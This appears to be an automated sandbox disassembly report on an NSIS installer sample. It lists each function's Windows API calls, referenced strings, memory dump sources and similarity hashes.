Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Part of subcall function 00403EA0: lstrcatW.KERNEL32(00000000,00000000,00476240,004D30A8,install.log,00405AC8,004D30A8,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006), ref: 00403EBB

GetDiskFreeSpaceW.KERNEL32(0044DD90,?,?,0000040F,?,0044DD90,0044DD90,?,00000000,0044DD90,?,?,000003FB,?), ref: 00404785
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047A0

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00425D76,74DF23A0,00000000), ref: 00406902

SetDlgItemTextW.USER32(00000000,00000400,0040A264), ref: 00404819

Strings

A, xrefs: 00404662
F, xrefs: 004046A0

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: F$A
API String ID: 3347642858-1281894373
Opcode ID: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction ID: 610cab7253faed09e83e35c18a41c8795a2522a57bd741f73bb79fe4ae4f2c97
Opcode Fuzzy Hash: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction Fuzzy Hash: A3B181B1900209BBDB11AFA1CC85AAF7BB8EF45315F10843BFA05B72D1D77C9A418B59

Function 00406EFE Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F5C
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FD5
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FE1
lstrcmpA.KERNEL32(name,?), ref: 00406FF3
CloseHandle.KERNEL32(?), ref: 00407212

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

%s: failed opening file "%s", xrefs: 00406F38
name, xrefs: 00406FEB
GetTTFNameString, xrefs: 00406F33

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction ID: 0b41acfa2c3272d6dc61f6848418d9961a63ce1f0aee58dce5ac99f5834af97b
Opcode Fuzzy Hash: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction Fuzzy Hash: 8491CB70D1412DAADF05EBE5C9908FEBBBAEF58301F00406AF592F7290E2385A05DB75

Function 00406831 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00425D76,74DF23A0,00000000), ref: 00406902
GetSystemDirectoryW.KERNEL32(0046E220,00002004), ref: 00406984

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetWindowsDirectoryW.KERNEL32(0046E220,00002004), ref: 00406997
lstrcatW.KERNEL32(0046E220,\Microsoft\Internet Explorer\Quick Launch), ref: 00406A11
lstrlenW.KERNEL32(0046E220,00445D80,?,00000000,00404FD5,00445D80,00000000,00425D76,74DF23A0,00000000), ref: 00406A73

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406952
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406A0B
F, xrefs: 00406A7F
F, xrefs: 00406858

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: F$ F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-1792361021
Opcode ID: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction ID: 94ababd57b57874809535cfc920d07d17cc92350817822ff6505e5e4c02fddf3
Opcode Fuzzy Hash: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction Fuzzy Hash: 9E71D6B1A00112ABDF20AF69CC44A7A3775AB55314F12C13BE907B66E0E73C89A1DB59

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0040AC30,?,00000001,0040AC10,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction ID: 17e7a05f0d3b91d3be5025a92c0a08315d4604efbe7233a371b14ee5b096337f
Opcode Fuzzy Hash: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction Fuzzy Hash: 9E416E74A00205BFCB04EFA0CC99EAE7B79EF48314B20456AF915EB3D1C679A941CB54

Function 004079A2 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction ID: f621f802e1b16f1afd83cb625a9a5dfb13386b99c5f5a138cca70abed5397206
Opcode Fuzzy Hash: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction Fuzzy Hash: CEE17A71D04218DFCF14CF94D980AAEBBB1AF45301F1981ABEC55AF286D738AA41CF95

Function 0040737E Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction ID: 563abc6a1943806f9f153a5c0538de096a4a033458f435c3a5efc50f2cd88ab2
Opcode Fuzzy Hash: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction Fuzzy Hash: 67C16831A042598FCF18CF68C9805ED7BA2FF89314F25862AED56A7384E335BC45CB85

Function 004063D8 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063EB
lstrlenW.KERNEL32(?), ref: 004063F8
GetVersionExW.KERNEL32(?), ref: 00406456

Part of subcall function 00406057: CharUpperW.USER32(?,0040642D,?), ref: 0040605D

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406495
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004064B4
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004064BE
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004064C9
FreeLibrary.KERNEL32(00000000), ref: 00406500
GlobalFree.KERNEL32(?), ref: 00406509

Strings

PSAPI.DLL, xrefs: 00406490
Module32NextW, xrefs: 0040660A
Unknown, xrefs: 00406528
GetModuleBaseNameW, xrefs: 004064C0
Kernel32.DLL, xrefs: 004065C7
Module32FirstW, xrefs: 004065FF
CreateToolhelp32Snapshot, xrefs: 004065E1
Process32NextW, xrefs: 004065F4
EnumProcessModules, xrefs: 004064B6
EnumProcesses, xrefs: 004064AE
Process32FirstW, xrefs: 004065E9

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction ID: cf04814c2eceeca0522e3a2239a4cfb7588c45c97b625e8eb28f179f7b3afb0e
Opcode Fuzzy Hash: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction Fuzzy Hash: D3919371900219EBDF119FA4CD88AAEBBB8EF04705F11807AE906F7191DB788E51CF59

Function 004040E4 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404199
GetDlgItem.USER32(?,000003E8), ref: 004041AD
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004041CA
GetSysColor.USER32(?), ref: 004041DB
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041E9
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041F7
lstrlenW.KERNEL32(?), ref: 00404202
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040420F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040421E

Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404150,?), ref: 0040400D
Part of subcall function 00403FF6: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404150,?), ref: 0040401C
Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404150,?), ref: 00404030

GetDlgItem.USER32(?,0000040A), ref: 00404276
SendMessageW.USER32(00000000), ref: 0040427D
GetDlgItem.USER32(?,000003E8), ref: 004042AA
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042ED
LoadCursorW.USER32(00000000,00007F02), ref: 004042FB
SetCursor.USER32(00000000), ref: 004042FE
ShellExecuteW.SHELL32(0000070B,open,0046E220,00000000,00000000,00000001), ref: 00404313
LoadCursorW.USER32(00000000,00007F00), ref: 0040431F
SetCursor.USER32(00000000), ref: 00404322
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404351
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404363

Strings

N, xrefs: 00404298
open, xrefs: 0040430B
F, xrefs: 004042D3

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: F$N$open
API String ID: 3928313111-1104729357
Opcode ID: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction ID: b74f7aac3d4bcd21dc7a54326fe4aeb8052e912a1eb6d084c2fa05dc76f75ebb
Opcode Fuzzy Hash: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction Fuzzy Hash: 5D71B5F1A00209BFDB109F65DD45EAA7B78FB44305F00853AFA05B62E1C778AD91CB99

Function 00406AC5 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00465E20,NUL,?,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AD5
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AF4
GetShortPathNameW.KERNEL32(000000F1,00465E20,00000400), ref: 00406AFD

Part of subcall function 00405DE2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
Part of subcall function 00405DE2: lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

GetShortPathNameW.KERNEL32(000000F1,0046B478,00000400), ref: 00406B1E
WideCharToMultiByte.KERNEL32(00000000,00000000,00465E20,000000FF,00466620,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B47
WideCharToMultiByte.KERNEL32(00000000,00000000,0046B478,000000FF,00466C70,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B5F
wsprintfA.USER32 ref: 00406B79
GetFileSize.KERNEL32(00000000,00000000,0046B478,C0000000,00000004,0046B478,?,?,00000000,000000F1,?), ref: 00406BB1
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406BC0
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BDC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406C0C
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00467070,00000000,-0000000A,0040A87C,00000000,[Rename]), ref: 00406C63

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C77
GlobalFree.KERNEL32(00000000), ref: 00406C7E
CloseHandle.KERNEL32(?), ref: 00406C88

Strings

^F, xrefs: 00406ACF
%s=%s, xrefs: 00406B6F
plF, xrefs: 00406B54
NUL, xrefs: 00406ACA
[Rename], xrefs: 00406BF4, 00406C03

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: ^F$%s=%s$NUL$[Rename]$plF
API String ID: 565278875-3368763019
Opcode ID: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction ID: 187392fb1a539ff374a899d42f74550c270b9899c721d3c7d9f4fe98b52eb23c
Opcode Fuzzy Hash: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction Fuzzy Hash: F2414B322082197FE7206B61DD4CE6F3E6CDF4A758B12013AF586F21D1D6399C10867E

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,00476AA0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction ID: 3a901b8e11bd10f40e8c3d59bf329074d7a31f92ad936af625f7db958ebfa50f
Opcode Fuzzy Hash: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction Fuzzy Hash: BF518772800209AFCF05CF95DD459AFBBB9FF45315F00802AF952AA1A1C738EA50DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004140F8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004140F8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction ID: c6ff7831871a22410ebf281ca69ba80d881ba5d3dc99c3f31bea2db7712f227d
Opcode Fuzzy Hash: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction Fuzzy Hash: EE418BB2D00208BFCF11AF91CD46DEEBB7AEF44344F20807AF605761A2D3794A509B69

Function 00406113 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
GetFileAttributesW.KERNEL32(00476240,?,00000000,00000000,?,?,00406300,00000000), ref: 00406168
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,00476240,40000000,00000004), ref: 004061A1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,00476240,40000000,00000004), ref: 004061AD
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),0040A678,?,00000000,00000000,?,?,00406300,00000000), ref: 004061C7
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,00406300,00000000), ref: 004061CE
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,00406300,00000000,?,?,00406300,00000000), ref: 004061E3

Strings

@bG, xrefs: 00406162
RMDir: RemoveDirectory invalid input(""), xrefs: 004061C1, 004061C6, 004061CD, 004061DC

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
